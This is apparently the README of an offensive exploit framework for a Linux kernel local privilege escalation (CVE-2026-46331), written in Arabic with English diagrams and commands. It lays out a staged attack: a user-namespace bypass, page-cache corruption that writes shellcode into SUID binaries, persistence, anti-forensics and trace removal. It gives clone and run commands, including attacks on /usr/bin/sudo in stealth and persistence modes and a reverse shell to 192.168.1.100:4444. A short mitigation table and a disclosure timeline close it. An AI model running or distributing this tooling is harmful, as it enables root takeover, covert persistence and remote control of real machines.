
CVE-2026-46331 — تصعيد محلي للامتيازات في نواة لينكس: تلف ذاكرة التخزين المؤقت للصفحات عبر TC pedit + IPsec TEE · النوى المتأثرة: ≤ 6.12.9
CVE-2026-46331 — تصعيد امتيازات محلي في نواة لينكس فساد ذاكرة التخزين المؤقت للصفحات عبر TC pedit + IPsec TEE · النوى المتأثرة: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝
⚠️ لأغراض تعليمية وبحثية فقط استخدم هذا الإطار حصريًا في بيئات المختبرات المعزولة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به غير قانوني وغير أخلاقي.
CVE-2026-46331 هي ثغرة تصعيد امتيازات محلية في نواة لينكس (≤ 6.12.9) ناجمة عن حالة سباق بين إجراء pedit الخاص بـ TC (cls_act) وتكرار الحزم المستند إلى IPsec TEE.
عندما تعبر حزمة مسار الإخراج (egress) الخاص بـ TC مع إجراء pedit يضبط IHL = 15، يستقبل نظام IPsec الفرعي في النواة حزمة مشوّهة حيث تتجاوز إزاحة حمولة IP المحسوبة الحدود الفعلية للحزمة. في ظل عمليات sendfile(2) المتزامنة، يسمح هذا التباين لمستخدم غير مميَّز (داخل مساحة اسم مستخدم مع CAP_NET_ADMIN) بإفساد إدخالات ذاكرة التخزين المؤقت للصفحات للقراءة فقط لملفات عشوائية — بما في ذلك ثنائيات SUID.
| الخاصية | القيمة |
|---|---|
| درجة CVSS 3.1 | 8.8 (عالية) |
| ناقل الهجوم | محلي |
| الامتيازات المطلوبة | منخفضة (مستخدم غير مميَّز) |
| التأثير | شل جذر (UID=0 EUID=0) |
| الإصدارات المتأثرة | نواة لينكس ≤ 6.12.9 |
| الإصدار المصحَّح | 6.12.10 |
| commit التصحيح | a3f4d1c8... |
Unprivileged User (UID=1000)
│
▼
[1] Reconnaissance
├─ Kernel version check
├─ userns availability
└─ Target binary profiling
│
▼
[2] Namespace Bypass
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor profile hopping (fallback)
└─ CAP_NET_ADMIN acquired
│
▼
[3] Network Infrastructure
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] Page Cache Corruption
├─ sendfile → pedit trigger
├─ Page cache entry corrupted
└─ Shellcode written to read-only binary
│
▼
[5] Privilege Escalation
└─ execve(SUID binary) → root shell
│
▼
[6-8] Post-Exploitation
├─ Persistence (6 mechanisms)
├─ Evasion / Anti-Forensics
└─ Trace cleanup
│
▼
🎯 ROOT SHELL (UID=0 EUID=0)
dirtyclone-exploit/
├── Makefile # Build system
├── README.md # This file
├── LICENSE # MIT License
│
├── include/
│ ├── exploit.h # Core types, flags, prototypes
│ ├── packet_engine.h # Packet crafting engine API
│ ├── memory_ops.h # Page cache corruption API
│ └── persistence.h # Persistence mechanism API
│
├── src/
│ ├── main.c # Framework entry point
│ ├── stage_env_analysis.c # Phase 1: Reconnaissance
│ ├── stage_namespace_bypass.c # Phase 2: userns bypass
│ ├── stage_network_setup.c # Phase 3: TC/IPsec setup
│ ├── stage_page_cache_corrupt.c # Phase 4: Core exploit
│ ├── stage_privilege_escalation.c # Phase 5: LPE
│ ├── stage_persistence.c # Phase 6: Persistence
│ ├── stage_evasion.c # Phase 7: Anti-forensics
│ ├── stage_cleanup.c # Phase 8: Trace removal
│ ├── memory_ops.c # Page cache primitives
│ ├── packet_engine.c # Raw packet crafting
│ └── persistence.c # Persistence implementations
│
├── modules/
│ ├── packet_craft.py # Python packet crafter (Scapy)
│ └── exploit_analyzer.py # Pre-exploit analysis tool
│
├── scripts/
│ ├── setup_env.sh # Dependency install + build
│ ├── cleanup.sh # System cleanup
│ └── detect_targets.sh # Vulnerable binary scanner
│
└── payloads/
└── README.md # Payload directory info
gcc ≥ 10makelibcap-dev / libcap-develiproute2 (tc, ip)iptablespip install scapy
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
# Show help
./bin/dirtyclone --help
# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test
# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone
# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detect vulnerable targets first
bash scripts/detect_targets.sh
exploit_analyzer.py — استطلاع ما قبل الاستغلال# Analyze default target
python3 modules/exploit_analyzer.py
# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# JSON output for automation
python3 modules/exploit_analyzer.py --json
# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — مشغّل الحزم الخام# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20
| التخفيف | الأمر / الإجراء |
|---|---|
| تحديث النواة | الترقية إلى ≥ 6.12.10 (الإصلاح الأساسي) |
| تعطيل مساحات أسماء المستخدمين | echo 0 > /proc/sys/kernel/unprivileged_userns_clone |
| قيود AppArmor | تفعيل apparmor مع ملف تعريف تقييد userns |
| تدقيق TC pedit | auditctl -a always,exit -F arch=b64 -S unshare |
| سلامة الملفات | نشر AIDE أو Tripwire على ثنائيات SUID |
| مرشحات Seccomp | حظر unshare() في حاويات الإنتاج |
| التاريخ | الحدث |
|---|---|
| 2026-01-15 | اكتُشفت الثغرة أثناء تدقيق النواة |
| 2026-02-03 | أُبلغ عنها إلى [email protected] |
| 2026-03-28 | تم تطبيق التصحيح (6.12.10) |
| 2026-06-01 | الكشف العام (مهلة 90 يومًا) |
| 2026-06-27 | إصدار PoC كامل |